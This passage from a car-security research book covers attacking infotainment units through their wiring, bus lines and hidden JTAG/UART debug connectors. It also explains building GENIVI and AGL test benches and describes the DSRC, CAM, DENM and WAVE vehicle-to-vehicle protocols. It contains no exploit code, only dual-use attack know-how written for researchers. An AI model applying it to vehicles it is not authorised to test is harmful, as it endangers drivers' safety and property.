security	keys	by	attacking	the	hardware	when	something	like	the	update
method	mentioned	earlier	fails.

Dissecting	the	IVI	Unit’s	Connections
If	you’re	unable	to	gain	access	to	a	vehicle’s	system	through	the	update
method	discussed	in	the	previous	section,	you	can	attack	the	IVI’s	wiring	and
bus	lines.	Your	first	step	will	be	to	remove	the	IVI	unit	and	then	trace	the
wires	back	to	the	circuit	board	in	order	to	identify	its	components	and
connections,	like	the	ones	shown	in	Figure	9-4.

Figure	9-4:	Connector	view	of	a	double	DIN	IVI	unit

When	you	take	your	IVI	unit	out,	you’ll	see	a	lot	of	wires	because,	unlike
aftermarket	radios,	OEM	units	are	heavily	connected	to	the	vehicle.	The
back	metal	panel	on	the	IVI	usually	doubles	as	a	heat	sink,	and	each



connector	is	often	separated	by	its	functionality.	(Some	vehicles	keep	the
Bluetooth	and	cellular	piece	in	another	module,	so	if	you’re	looking	to
research	a	wireless	exploit	and	the	IVI	unit	doesn’t	have	this	wireless
module,	continue	looking	for	the	telematics	module.)

By	tracing	the	actual	wires	or	looking	at	a	wiring	diagram	like	the	one
shown	in	Figure	9-5,	you	can	see	that	the	Bluetooth	module	is	actually	a
separate	piece	from	the	navigation	unit	(IVI).	Notice	in	the	diagram	that	the
Bluetooth	unit	uses	CAN	(B-CAN)	on	pin	18.	If	you	look	at	the	navigation
unit’s	wiring	diagram,	you	can	see	that	instead	of	CAN,	K-Line	(pin	3)	is
directly	attached	to	the	IVI	unit.	(We	discussed	these	protocols	in	Chapter
2.)



Figure	9-5:	Hands-free	wiring	diagram

If	you	can	determine	whether	your	target	is	connected	to	a	network	bus,



you’ll	know	just	how	much	your	exploit	can	control.	At	the	very	least,	the
bus	directly	connected	to	the	target	can	be	influenced	by	any	code	you	put
on	the	target	system.	For	instance,	in	the	wiring	examples	shown	in	Figure
9-5,	a	vulnerability	in	the	Bluetooth	module	would	give	us	direct	CAN
access;	however,	if	we	exploited	the	IVI’s	navigation	system,	we’d	need	to
use	K-Line	instead	(see	Figure	9-6).	You	can	tell	which	network	you	have
access	to	by	looking	at	the	wiring	diagram	in	Figure	9-5	and	seeing	whether
K-Line	or	CAN	are	connected	to	your	target	device.	Which	bus	you’re	on
will	affect	your	payload	and	what	networked	systems	you’ll	be	able	to
influence	directly.

Figure	9-6:	K-Line	specified	in	the	wiring	diagram	for	the	navigation	unit

Disassembling	the	IVI	Unit
If	your	goal	is	to	directly	attack	the	system	hardware	or	if	you	don’t	have	a
wiring	diagram	showing	the	connections	to	the	entertainment	unit,	you’ll
need	to	start	taking	the	unit	apart.	Because	IVI	units	are	really	compact	and
they	bundle	a	lot	of	functionality	into	a	small	area,	taking	them	apart	means
removing	lots	of	screws	and	several	layers	of	connected	circuit	boards.	The
disassembly	task	is	time	consuming	and	complicated	and	should	probably	be
your	last	resort.

To	begin	disassembly,	start	by	removing	the	case.	Each	unit	comes	apart
differently,	but	typically	you	can	remove	the	front	and	back	plate	screws	and
then	work	your	way	down	from	the	top.	Once	inside,	you’ll	most	likely	find
a	circuit	board	like	the	one	shown	in	Figure	9-7.

Although	the	print	on	the	circuit	board	is	a	little	hard	to	read,	you’ll



probably	find	that	many	of	the	pins	are	labeled.	Pay	close	attention	to	any
connectors	that	are	attached	to	the	circuit	board	but	not	connected	or	that
are	covered	by	the	heat	sink.	You’ll	often	find	that	certain	connectors	used
during	the	manufacturing	process	are	left	behind,	disconnected	on	the
circuit	board.	These	can	be	a	great	way	in	to	the	IVI	unit.	For	example,
Figure	9-8	shows	a	hidden	connector	revealed	once	the	back	panel	was
removed	on	the	target	IVI.

Hidden	connectors	are	a	great	place	to	start	when	going	after	a	device’s
firmware.	These	connectors	often	have	methods	to	load	and	debug	the
firmware	running	on	the	systems,	and	they	can	also	provide	serial-style
debugging	interfaces	that	you	can	use	to	see	what’s	happening	with	the
system.	In	particular,	you	should	look	for	JTAG	and	UART	interfaces.

Figure	9-7:	Many	pins	and	connectors	are	labeled	directly	on	the	PCB.



Figure	9-8:	Nonexposed	hidden	connector

At	this	stage,	you	should	start	tracing	the	pins	and	looking	at	data	sheets
for	the	onboard	chips.	After	a	bit	of	sleuthing	as	to	where	these	pins	connect,
you	should	have	a	better	idea	of	what	you’re	dealing	with	and	the	intended
purpose	of	this	hidden	connector.	(See	Chapter	8	for	more	on	analyzing
circuit	boards	and	reverse	engineering	hardware.)

Infotainment	Test	Benches
Instead	of	tampering	with	your	own	factory-installed	entertainment	unit	and
risking	damage,	you	can	experiment	with	a	test	bench	system,	whether	that’s
one	from	a	junkyard	or	an	open	source	development	platform.	(Aftermarket
radios	aren’t	a	good	choice	because	they	don’t	usually	tie	into	the	CAN	bus
network.)	In	this	section,	we’ll	look	at	two	open	source	entertainment
systems	that	you	can	run	in	a	VM	on	a	PC,	the	GENIVI	demo	platform,	and
Automotive	Grade,	which	requires	an	IVI.

GENIVI	Meta-IVI
The	GENIVI	Alliance	(http://www.genivi.org/)	is	an	organization	whose

http://www.genivi.org/


main	objective	is	to	drive	the	adoption	of	open	source	IVI	software.
Membership	is	paid,	but	you	can	download	and	participate	in	the	GENIVI
software	projects	for	free.	Membership,	especially	board-level	membership,
in	GENIVI	is	very	costly,	but	you	can	join	the	mailing	list	to	participate	in
some	of	the	development	and	discussions.	The	GENIVI	system	can	be	run
directly	on	Linux	with	no	need	for	an	IVI.	It’s	basically	a	collection	of
components	that	you	can	use	to	build	your	own	IVI.

In	Figure	9-9,	a	high-level	block	diagram	of	the	GENIVI	system	shows
how	the	pieces	fit	together.

The	GENIVI	demo	platform	has	some	basic	human–machine	interface
(HMI)	functionality:	the	FSA	PoC	stands	for	fuel	stop	advisor	proof-of-concept
(proof	of	concept	because	certain	of	these	apps	aren’t	used	in	production).
The	FSA	is	part	of	the	navigation	system	and	is	designed	to	alert	drivers	if
they	are	going	to	run	out	of	fuel	before	reaching	their	destination.	The	Web
browser	and	audio	manager	PoCs	should	be	self-explanatory.	Another
component	not	shown	in	the	figure	is	the	navigation	app.	This	app	is
powered	by	the	open	source	Navit	project	(http://www.navit-project.org/)	and
uses	a	plugin	for	the	freely	licensed	OpenStreetMap	mapping	software
(https://www.openstreetmap.org/).

The	GENIVI’s	middleware	components	make	up	the	core	GENIVI
operating	system,	and	they’re	discussed	here	in	the	order	in	which	they
appear	in	Figure	9-9	(persistency	is	excluded	since	there	isn’t	currently	any
documentation	on	this	module):

Diagnostic	log	and	trace	(DLT)	An	AUTOSAR	4.0–compatible
logging	and	tracing	module.	(Autosar	is	simply	an	automotive	standards
group;	see	https://www.autosar.org/.)	Some	features	of	the	DLT	can	use
TCP/IP,	serial	communications,	or	standard	syslog.

Node	state	manager	(NSM)	Keeps	track	of	the	vehicle’s	running	state
and	is	responsible	for	shutdown	and	for	monitoring	system	health.

Node	startup	controller	(NSC)	Part	of	the	NSM	persistence.	Handles
all	data	stored	on	a	hard	drive	or	flash	drive.

Audio	manager	daemon	The	audio	hardware/software	abstraction	layer.

Audio	manager	plugins	Part	of	the	audio	manager	daemon.

Webkit	Web	browser	engine.

http://www.navit-project.org/
https://www.openstreetmap.org/
https://www.autosar.org/


Automotive	message	broker	(AMB)	Allows	an	application	to	access
vehicle	information	from	the	CAN	bus	without	having	to	know	the
specific	CAN	bus	packet	layouts.	(The	system	you’re	talking	to	must
support	OBD	or	AMB	directly	in	order	for	this	to	work.)

Figure	9-9:	GENIVI	software	layout

Building	the	Environment
The	easiest	way	to	build	the	GENIVI	system	on	Linux	is	to	use	a	Docker
image.	First,	grab	the	easy	build	like	this:

$	git	clone	https://github.com/gmacario/easy-build

NOTE



This	Docker	image	won’t	work	on	the	eCryptfs	filesystem	that	Ubuntu	uses	on
home	directories,	so	make	sure	to	download	and	follow	these	instructions
outside	your	default	home	directory.

You’ll	need	Docker	installed	if	you	don’t	already	have	it.	On	Ubuntu,	this
command	is:

$	sudo	apt-get	install	docker.io

Then,	cd	into	the	easy-build/build-yocto-genivi	folder	in	your	Home
directory	and	run	this:

$	sudo	docker	pull	gmacario/build-yocto-genivi
$	sudo	./run.sh

Docker	builds	a	little	VM	for	you	to	work	in,	and	running	run.sh	should
put	you	in	a	root	terminal	environment	in	the	Docker	instance.

Now,	finish	the	install	by	getting	the	rest	of	the	GENIVI	build	and
creating	an	image	that	you	can	use	in	the	QEMU	VM.	Run	the	following
commands:

#	chmod	a+w	/dev/shm
#	chown	build.build	~build/shared
#	su	-	build
$	export	GENIVI=~/genivi-baseline
$	source	$GENIVI/poky/oe-init-build-env	~/shared/my-genivi-build
$	export	TOPDIR=$PWD
$	sh	~/configure_build.sh
$	cd	$TOPDIR
$	bitbake	-k	intrepid-image

The	output	of	the	final	bitbake	command	should	look	something	like
this:

Build	Configuration:
BB_VERSION	=	"1.24.0"
BUILD_SYS	=	"x86_64-linux"
NATIVELSBSTRING	=	"Ubuntu-14.04"
TARGET_SYS	=	"i586-poky-linux"
MACHINE	=	"qemux86"
DISTRO	=	"poky-ivi-systemd"
DISTRO_VERSION	=	"7.0.2"
TUNE_FEATURES	=	"m32	i586"
TARGET_FPU	=	""



meta
meta-yocto
meta-yocto-bsp	=	"
(detachedfromdf87cb2):df87cb27efeaea1455f20692f9f1397c6fcab254"
meta-ivi
meta-ivi-bsp	=	"
(detachedfrom7.0.2):54000a206e4df4d5a94db253d3cb8a9f79e4a0ae"
meta-oe	=	"
(detachedfrom9efaed9):9efaed99125b1c4324663d9a1b2d3319c74e7278"

As	of	this	writing,	the	build	process	errors	out	on	fetching	the	Bluez
package.

Remove	the	following	file,	and	try	bitbake	again:

$	rm	/home/build/genivi-baseline/meta-ivi/meta-ivi/recipes-
connectivity/bluez5/bluez5_%.bbappend

Once	everything	is	finished,	you	should	have	images	in	your	tmp/deploy/
images/qemux86/	folder.

Now	you’re	ready	to	run	your	image	in	an	emulator.	For	ARM
emulation,	run	this:

$	$GENIVI/meta-ivi/scripts/runqemu	horizon-image	vexpressa9

For	x86,	use	this	command:

$	$GENIVI/poky/scripts/runqemu	horizon-image	qemux86

And	this	command	is	for	x86-64:

$	$GENIVI/poky/scripts/runqemu	horizon-image	qemux86-x64

You	should	now	be	ready	to	research	a	GENIVI-based	IVI	system.	As
you’ve	seen,	the	steps	can	be	a	bit	daunting.	The	most	difficult	part	of
working	on	GENIVI	is	getting	it	up	and	running.	Once	you	have	a	system
to	look	at,	you	can	pick	any	executable	to	begin	your	security	audit.

Automotive	Grade	Linux
Automotive	Grade	Linux	(AGL)	is	an	IVI	system	that	you	can	run	on	a
physical	IVI	unit.	Unlike	GENIVI,	AGL	doesn’t	have	a	costly	board
structure.	AGL’s	goals	are	similar	to	those	of	GENIVI:	it’s	trying	to	build	an



open	source	IVI	unit	as	well	as	other	related	parts,	such	as	telematics	and
instrument	clusters.

As	of	this	writing,	you	should	be	able	to	find	a	demo	image	of	AGL	for
VMware	(last	released	in	2013),	installation	instructions,	and	a	bootable
USB	version	for	x86	at	the	AGL	website	(http://automotivelinux.org/).	These
images	are	designed	to	run	on	in-vehicle	computer	hardware,	like	the
Nexcom	VTC-1000,	a	headless	Linux	device	that	comes	with	CAN	and
touchscreens.	Unlike	the	GENIVI	project,	the	AGL	demonstration	images
are	mainly	designed	and	tested	to	run	on	hardware,	although	it	may	be
possible	to	run	some	development	images	in	a	VM.

As	you	can	see	in	Figure	9-10,	the	AGL	demonstration	image	has	a	very
pretty	interface,	but	don’t	expect	all	applications	to	run	smoothly,	as	many
are	simply	placeholders	that	are	actively	being	built.	Because	AGL	is
normally	tested	on	physical	hardware,	you’ll	have	to	spend	around	$1,000	to
get	the	hardware	necessary	to	install	AGL	smoothly.	It’s	also	possible	to	get
an	image	to	run	on	a	QEMU	VM	as	well.	(One	nice	thing	about	buying	a
development	IVI	is	that	you	can	program	it	to	work	with	any	vehicle.)

http://automotivelinux.org/


Figure	9-10:	Automotive	Grade	Linux	sample	screens

Acquiring	an	OEM	IVI	for	Testing
If	you	decide	to	run	a	physical	IVI	unit	for	testing,	you’ll	have	to	either	pull
a	factory	(OEM)	IVI	system	from	an	existing	vehicle	or	buy	a	development
IVI,	such	as	the	Nexcom	VTC-1000	or	a	model	like	those	referenced	in	the
Tizen	hardware	compatibility	list
(https://wiki.tizen.org/wiki/IVI/IVI_Platforms).

If	you	choose	to	go	the	OEM	factory-installed	route,	you	can	buy	one
from	the	dealership	or	pull	one	from	a	junkyard.	Development	and	OEM
IVI	units	purchased	directly	from	a	dealership	will	typically	run	from	$800
to	$2,000,	so	it’s	much	more	cost-effective	to	pull	one	from	a	junkyard,
though	it	may	be	difficult	to	find	your	target	high-end	IVI	system.	You	can
also	buy	non-OEM	aftermarket	units,	such	as	Kenwood	or	Pioneer,	which—
while	often	cheaper—typically	won’t	tie	into	a	vehicle’s	CAN	system.

Unfortunately,	pulling	a	radio	out	of	a	modern	vehicle	without	destroying

https://wiki.tizen.org/wiki/IVI/IVI_Platforms


it	isn’t	an	easy	task.	You’ll	often	need	to	remove	the	plastic	around	the	gauge
cluster	on	the	dashboard	and	the	plastic	around	the	radio	before	you	can
remove	the	radio	from	its	harness.	If	you	run	into	an	antitheft	security	code
for	the	radio,	check	the	owner’s	manual	for	the	code,	if	you’re	lucky	enough
to	find	that.	If	you	can’t	find	the	code,	be	sure	to	grab	the	VIN	from	the
donor	vehicle	because	you	might	need	it	to	get	or	reset	the	antitheft	PIN.	(If
you	grabbed	the	ECU	from	the	vehicle,	remember	you	can	query	that	to	get
the	VIN	as	well.)

You’ll	need	to	refer	to	the	wiring	diagram	for	your	IVI	system	in	order	to
get	it	to	start	on	its	own,	but	you	can	leave	out	most	of	the	wires	that	you’re
not	testing.	If	you’re	building	an	OEM-based	unit,	it	may	be	worth	your
while	to	completely	disassemble	the	unit	and	to	connect	any	test	connectors
so	that	you’ll	not	only	have	the	normal	IVI	system	running	but	also	be	able
to	access	any	of	the	hidden	connectors.

Summary
You	should	now	be	comfortable	analyzing	your	existing	radio	system.	We’ve
covered	how	to	safely	work	in	a	VM	or	test	environment	to	find
vulnerabilities	in	IVI	systems.	These	systems	hold	a	lot	of	code	and	are	the
most	powerful	electronic	systems	in	a	vehicle.	Mastery	of	the	IVI	units	will
give	you	full	control	of	your	target,	and	there’s	no	part	of	a	vehicle	with	a
greater	concentration	of	attack	surface	than	the	IVI	system.	When
performing	security	research,	an	IVI	and	telematics	system	will	provide	you
with	the	most	valuable	vulnerabilities,	and	you’ll	find	that	the	vulnerabilities
found	in	these	systems	will	often	be	remote	or	wireless	and	directly
connected	to	the	vehicle’s	bus	lines.



10
VEHICLE-TO-VEHICLE	COMMUNICATION

The	latest	trend	in	vehicle	technology	is	vehicle-to-vehicle	(V2V)
communication—or	in	the	case	of	vehicles	communicating	with	roadside
devices,	vehicle-to-infrastructure	(V2I)	communication.	V2V	communication	is
primarily	designed	to	communicate	safety	and	traffic	warnings	to	vehicles
through	a	dynamic	mesh	network	between	vehicles	and	roadside	devices
called	the	intelligent	transportation	system.	This	mesh	connects	various	nodes
—vehicles	or	devices—in	the	network	and	relays	information	between	them.

The	promise	of	V2V	is	so	great	that	in	February	2014	the	US
Department	of	Transportation	announced	its	desire	to	implement	a	mandate
requiring	that	V2V-based	communication	be	included	in	all	new	light
vehicles,	though	as	of	this	writing	nothing	has	been	finalized.

V2V	is	the	first	automotive	protocol	to	consider	cybersecurity	threats	at
the	design	stage,	rather	than	after	the	fact.	The	details	of	V2V
implementation	and	interoperation	between	countries	are	still	being
determined,	so	many	processes	and	security	measures	are	still	undecided.
Nevertheless,	in	this	chapter,	we’ll	review	the	current	design	considerations
in	an	attempt	to	offer	guidelines	for	what	to	expect.	We’ll	detail	the	thinking
behind	different	approaches	and	discuss	the	types	of	technologies	likely	to	be
deployed	in	the	V2V	space.	We’ll	also	discuss	several	protocols	used	in	V2V
communications	and	the	types	of	data	they’ll	transmit,	and	we’ll	review



V2V’s	security	considerations	as	well	as	areas	for	security	researchers	to
focus	on.

NOTE

Because	this	chapter	focuses	on	a	technology	yet	to	be	implemented,	we	won’t
cover	the	reasons	behind	various	features,	nor	will	we	discuss	the	ways	that
manufacturers	can	implement	each	feature	because	all	of	that	detail	is	subject
to	change.

Methods	of	V2V	Communication
In	the	world	of	V2V	communication,	vehicles	and	roadside	devices	interact
in	one	of	three	ways:	via	existing	cellular	networks;	using	dedicated	short-range
communication	(DSRC),	which	is	a	short-range	communication	protocol;	or
via	a	combination	of	communication	methods.	In	this	chapter	we’ll	focus	on
DSRC,	as	it’s	the	most	common	method	of	V2V	communication.

Cellular	Networks
Cellular	 communication	doesn’t	 require	 roadside	 sensors,	 and	 existing
cellular	 networks	 already	 have	 a	 security	 system	 in	 place,	 so
communication	 can	 rely	 on	 security	methods	 provided	 by	 the	 cellular
carriers.	The	 security	 provided	 by	 cellular	 networks	 is	 at	 the	 wireless
level	(GSM),	not	the	protocol	level.	If	the	connected	device	is	using	IP
traffic,	then	standard	IP	security,	such	as	an	encryption	and	reduction	of
attack	surfaces,	still	needs	to	be	applied.

DSRC
DSRC	 requires	 the	 installation	 of	 specialized	 equipment	 in	 modern
vehicles	 and	 new	 roadside	 equipment.	 Because	 DSRC	 is	 designed
specifically	 for	 V2V	 communication,	 security	 measures	 can	 be
implemented	prior	to	widespread	adoption.	DSRC	is	also	more	reliable
than	 cellular	 communication,	 with	 lower	 latency.	 (See	 “The	 DSRC
Protocol”	on	page	179	for	more	on	DSRC.)	Hybrid

The	hybrid	 approach	 combines	 cellular	 networks	with	DSRC,	Wi-Fi,
satellite,	and	any	other	communication	that	makes	sense,	such	as	future
wireless	communication	protocols.



In	this	chapter,	we’ll	focus	on	DSRC	because	it’s	unique	to	the	V2V
infrastructure.	The	DSRC	protocol	will	be	the	main	protocol	deployed
by	V2V,	and	you	may	see	it	mixed	with	other	communication	methods.

NOTE

You	can	use	traditional	methods	to	analyze	communication,	such	as	cellular,
Wi-Fi,	satellite,	and	so	on.	Evidence	of	these	signals	communicating	doesn’t
necessarily	mean	the	vehicle	is	using	V2V	communication.	However,	if	you	see
DSRC	being	transmitted,	you’ll	know	that	V2V	has	been	implemented	in	that
vehicle.

FUN	WITH	V2V	ACRONYMS
The	auto	industry	loves	acronyms	as	much	as	any	government	does,
and	V2V	is	no	exception.	In	fact,	the	lack	of	any	universal	V2V
standard	between	countries	means	that	the	world	of	V2V	acronyms	can
be	especially	messy	because	there’s	little	consistency	and	a	good	dose	of
confusion.	To	help	you	out,	here	are	some	acronyms	that	you’ll	run
into	when	researching	V2V-related	topics:	ASD	Aftermarket	safety
device

DSRC	Dedicated	short-range	communication
OBE	Onboard	equipment
RSE	Roadside	equipment
SCMS	Security	Credentials	Management	System	V2I,	C2I	Vehicle-
to-infrastructure,	or	car-to-infrastructure	(Europe)	V2V,	C2C
Vehicle-to-vehicle,	or	car-to-car	(Europe)	V2X,	C2X	Vehicle-to-
anything,	or	car-to-anything	(Europe)	VAD	Vehicle	awareness	device
VII,	ITS	Vehicle	infrastructure	integration,	intelligent	transportation
system	WAVE	Wireless	access	for	vehicle	environments	WSMP
WAVE	short-message	protocol



The	DSRC	Protocol
DRSC	is	a	one-	or	two-way	short-range	wireless	communication	system
specifically	built	for	vehicle	communications	between	vehicles	and	roadside
devices,	or	from	vehicle	to	vehicle.

DSRC	operates	in	the	5.85	to	5.925	GHz	band	reserved	for	V2V	and
V2I.	The	transmit	power	used	by	a	DSRC	device	will	dictate	its	range.
Roadside	equipment	can	transmit	at	higher-power	ranges,	allowing	up	to	a
1,000	m	specification,	while	vehicles	can	broadcast	only	at	a	power	level	that
provides	closer	to	300	m	ranges.

DSRC	is	based	on	the	wireless	802.11p	and	1609.x	protocols.	DSRC-and
Wi-Fi-based	systems,	such	as	wireless	access	for	vehicle	environments
(WAVE),	use	IEEE	1609.3	specification	or	the	WAVE	short-message
protocol	(WSMP).	These	messages	are	single	packets	with	no	more	than
1,500	bytes	and	typically	less	than	500	bytes.	(Network	sniffers	such	as
Wireshark	can	decode	WAVE	packets,	which	allows	for	easy	sniffing	of
traffic.)	DSRC	data	rates	depend	on	the	number	of	users	accessing	the	local
system	at	the	same	time.	A	single	user	on	the	system	would	typically	see	data
rates	of	6	to	12Mbps,	while	users	in	a	high-traffic	area—say,	an	eight-lane
freeway—would	likely	see	100	to	500Kbps.	A	typical	DSRC	system	can
handle	almost	100	users	in	high-traffic	conditions,	but	if	the	vehicles	are
traveling	around	60	km/h,	or	37	mph,	it’ll	usually	support	around	only	32
users.	(These	data	rates	are	estimated	from	the	Department	of
Transportation’s	paper	“Communications	Data	Delivery	System	Analysis	for
Connected	Vehicles.”1)	The	number	of	channels	dedicated	to	the	5.9	GHz
range	of	the	DSRC	system	varies	between	countries.	For	example,	the	US
system	is	designed	to	support	seven	channels	with	one	channel	that	acts	as	a
dedicated	control	channel	reserved	for	sending	short	high-priority
management	packets.	The	European	design	supports	three	channels	with	no
dedicated	control	channel.	This	disparity	is	largely	due	to	the	fact	that	each
country	has	different	drivers	for	the	technology:	Europe’s	system	is	market
driven,	while	the	US	system	has	a	strong	vehicle	safety	initiative	behind	it.
Therefore,	while	the	protocols	will	interoperate,	the	types	of	messages
supported	and	sent	will	differ	significantly.	(In	Japan,	DSRC	is	currently
being	used	for	toll	collection,	but	the	Japanese	are	also	planning	to	use	a	760
MHz	band	for	crash	avoidance.	The	Japanese	5.8	GHz	channels	don’t	use
802.11p,	but	they	should	still	support	the	1609.2	V2V	security	framework.)



NOTE

While	both	Europe	and	the	United	States	use	802.11p	with	ECDSA-256
encryption,	the	two	systems	are	not	100	percent	compatible.	As	of	this	writing,
they	incorporate	various	technical	differences,	such	as	where	the	signing	stack	is
placed	in	the	packet.	There’s	no	good	technical	reason	for	this	lack	of
standardization,	so	this	will	hopefully	be	fixed	before	widespread	adoption.

Features	and	Uses
All	DSRC	implementations	offer	convenience	and	safety	features,	but	their
features	differ.	For	example,	the	European	DSRC	system	will	use	DSRC	for
the	following:	Car	sharing	Would	work	like	today’s	vehicle	sharing,	such	as
car2go,	except	that	instead	of	using	a	third-party	vehicle	dongle	attached	to
the	OBD-II	connector	to	control	the	vehicle,	it	would	use	the	V2I	protocols
Connections	to	points	of	interest	Similar	to	the	points	of	interest,	such	as
restaurants	or	gas	stations,	in	a	traditional	navigation	system	but	would	be
broadcast	to	passing	vehicles	Diagnostics	and	maintenance	Would	report
the	reason	why	a	vehicle’s	engine	light	is	on	via	DSRC	instead	of	having	to
read	codes	from	an	OBD	connector	Driving	profiles	for	insurance
purposes	Would	replace	insurance-style	dongles	that	record	driving
behavior	Electronic	toll	notification	Would	allow	for	automated	payments
at	toll	booths	(already	being	tested	in	Japan)	Fleet	management	Would
allow	for	the	monitoring	of	fleets	of	vehicles,	such	as	those	used	for	trucking
and	transportation	services	Parking	information	Would	record	duration	of
parking	and	could	displace	traditional	parking	meters	Security-driven	areas
like	the	United	States	are	more	concerned	with	communicating	warnings
about	things	like	the	following:	Emergency	vehicles	approaching	Would
notify	vehicles	of	an	approaching	emergency	vehicle	Hazardous	locations
Would	warn	drivers	of	hazards,	such	as	an	icy	bridge	or	road	surface,	or
falling	rocks	Motorcycle	approaches	Would	signal	the	approach	of	a
passing	motorcycle	Road	works	Would	notify	drivers	of	upcoming
construction	Slow	vehicles	Would	provide	early	notification	of	traffic
congestion	or	traffic	slowdowns	due	to	slow-moving	farm	or	oversized
vehicles	Stationary	(crash)	vehicles	Would	warn	of	vehicles	that	have
broken	down	or	were	in	a	recent	collision	Stolen	vehicle	recovery	Might
work	similarly	to	a	LoJack-like	service	in	that	it	would	allow	law



enforcement	to	locate	a	stolen	vehicle	based	on	a	radio	beacon	Additional
types	of	communication	categories	that	could	be	implemented	via	DSRC
include	traffic	management;	law	enforcement,	such	as	communicating	speeds
or	tracking	vehicles;	driver	assistance,	such	as	parking	assistance	or	lane
guidance;	and	highway	automation	projects,	such	as	self-driving	vehicles	that
use	V2I	roadways	to	assist	in	guidance.

Roadside	DSRC	Systems
Roadside	DSRC	systems	are	also	used	to	pass	standardized	messages	and
updates	to	vehicles	with	information	such	as	traffic	data	and	hazard	or	road
works	warnings.	The	European	Telecommunications	Standards	Institute
(ETSI)	has	designed	two	formats	for	continuous	traffic	data,	both	of	which
use	802.11p:	the	cooperative	awareness	message	(CAM)	and	the
decentralized	environmental	notification	message	(DENM).

CAMs	for	Periodic	Vehicle	Status	Exchanges
CAMs	are	broadcast	periodically	through	the	V2X	network.	ETSI	defines
the	packet	size	of	a	CAM	as	800	bytes	and	the	reporting	rate	at	2	Hz.	This
protocol	is	still	in	its	preliminary	stages.	If	you	encounter	CAMs	in	the
future,	they	may	vary	from	the	proposal,	but	we’re	including	the	current
proposed	characteristics	to	give	you	a	sense	of	what	you	can	expect	from	the
CAM	protocol	in	the	future.

CAM	packets	consist	of	an	ITS	PDU	header	and	station	ID	as	well	as	one
or	more	station	characteristics	and	vehicle	common	parameters.

Station	characteristics	may	include	the	following:	•	Mobile	ITS	station

•	Physical	relevant	ITS	station

•	Private	ITS	station

•	Profile	parameters

•	Reference	position

Vehicle	common	parameters	may	consist	of	the	following:

•	Acceleration

•	Acceleration	confidence



•	Acceleration	controllability

•	Confidence	ellipse

•	Crash	status	(optional)

•	Curvature

•	Curvature	change	(optional)

•	Curvature	confidence

•	Dangerous	goods	(optional)

•	Distance-to-stop	line	(optional)

•	Door	open	(optional)

•	Exterior	lights

•	Heading	confidence

•	Occupancy	(optional)

•	Station	length

•	Station-length	confidence	(optional)

•	Station	width

•	Station-width	confidence	(optional)

•	Turn	advice	(optional)

•	Vehicle	speed

•	Vehicle-speed	confidence

•	Vehicle	type

•	Yaw	rate

•	Yaw	rate	confidence

Although	some	of	these	parameters	are	marked	as	optional,	they’re
actually	mandatory	in	certain	situations.	For	example,	a	basic	vehicle	profile
—station	ID	of	111	in	binary—must	report	crash	status	and	whether	the
vehicle	is	carrying	dangerous	goods,	if	known.	An	emergency	vehicle—
station	ID	of	101	in	binary—must	report	whether	its	lights	and	sirens	are	in
use.	Public	transportation	vehicles—station	ID	also	101—are	required	to



report	when	their	entry	door	is	open	or	closed	and	may	also	report	schedule
deviation	and	occupancy	count.

DENMs	for	Event-Triggered	Safety	Notifications
DENMs	are	event-driven	messages.	While	CAMs	are	periodically	sent	so
that	they’re	regularly	updated,	DENMs	are	triggered	by	safety	and	road
hazard	warnings.	Messages	might	be	sent	in	cases	of:	•	Collision	risks
(determined	by	roadside	devices)

•	Entering	hazardous	locations

•	Hard	braking

•	High	wind	levels

•	Poor	visibility

•	Precipitation

•	Road	adhesion

•	Road	work

•	Signal	violations

•	Traffic	jams

•	Vehicles	involved	in	an	accident

•	Wrong-way	driving

These	messages	stop	either	when	the	condition	that	triggered	them	is
gone	or	after	a	set	expiry	period.

DENMs	can	also	be	sent	to	cancel	or	negate	an	event.	For	instance,	if
roadside	equipment	identified	that	a	vehicle	was	going	the	wrong	way	down
a	street,	it	could	send	an	event	to	notify	nearby	drivers.	Once	that	driver	had
moved	the	vehicle	into	the	proper	lane,	the	equipment	could	send	a	cancel
event	to	signal	that	the	risk	had	passed.

Table	10-1	shows	the	packet	structure	and	byte	position	of	a	DENM
packet.

Table	10-1:	Packet	Structure	and	Byte	Position	of	a	DENM	Packet



Container Name Byte	start
position

Byte	end
position

Notes

ITS	Header Protocol
Version

1 1 ITS	Version

	 Message	ID 2 2 Message	Type

	 Generation
Time

3 8 Timestamp

ManagementOriginator	ID 9 12 ITS	Station	ID

	 Sequence
Number

13 14 	

	 Data	Version 15 15 255	=	Cancel

	 Expiry	Time 16 21 Timestamp

	 Frequency 21 21 Transmission
Frequency

	 Reliability 22 22 Probability	event	is
true.	Bit	1..7

	 IsNegation 22 22 1	==	Negate.	Bit	0

Situation CauseCode 23 23 	

	 SubCauseCode24 24 	

	 Severity 25 25 	

Location Latitude 26 29 	

	 Longitude 30 33 	

	 Altitude 34 35 	

	 Accuracy 36 39 	

	 Reserved 40 n Variable	size

There	are	optional	messages	as	well.	For	example,	the	situation	container
could	include	TrafficFlowEffect,	LinkedCause,	EventCharacteristics,
VehicleCommonParameters,	and	ProfileParameters,	just	as	in	the	CAN
structure.



WAVE	Standard
The	WAVE	standard	is	a	DSRC-based	system	used	in	the	United	States	for
vehicle	packet	communication.	The	WAVE	standard	incorporates	the
802.11p	standard	as	well	as	the	range	of	1609.x	standards	across	the	OSI
model.	The	purposes	of	these	standards	are	as	follows:	802.11p	Defines	the
5.9	GHz	WAVE	protocol	(a	modification	of	the	Wi-Fi	standard);	also	has
random	local	MAC	addressing	1609.2	Security	services

1609.3	UDP/TCP	IPv6	and	LLC	support

1609.4	Defines	channel	usage

1609.5	Communication	manager

1609.11	Over-the-air	electronic	payment	and	data	exchange	protocol
1609.12	WAVE	identifier

NOTE

To	explore	the	WAVE	standard	in	more	detail,	you	can	use	the	OSI	numbers
in	the	preceding	list	to	pull	up	the	relevant	reference	documentation	online.

WSMP	is	used	in	both	service	and	control	channels.	WAVE	uses	IPv6,
the	most	recent	Internet	protocol,	for	service	channels	only.	IPv6	is
configured	by	the	WAVE	management	entity	(WME)	and	also	handles
channel	assignments	and	monitors	service	announcements.	(The	WME	is
unique	to	WAVE	and	handles	the	overhead	and	maintenance	of	the
protocol.)	Control	channels	are	used	for	service	announcements	and	short
messages	from	safety	applications.

WSMP	messages	are	formatted	as	shown	in	Figure	10-1.

Figure	10-1:	WSMP	message	format

The	type	of	application	provided	by	a	roadside	device,	or	hosted	by	a
vehicle,	is	defined	by	the	provider	service	identifier	(PSID).	The	actual
announcement	of	a	service	comes	from	a	WAVE	service	announcement



(WSA)	packet,	the	structure	of	which	is	shown	in	Table	10-2.

Table	10-2:	WAVE	Service	Announcement	Packet

Section Elements

WSA	header WAVE	version
EXT	Fields

Service	Info WAVE	Element	ID
PSID
Service	Priority
Channel	Index
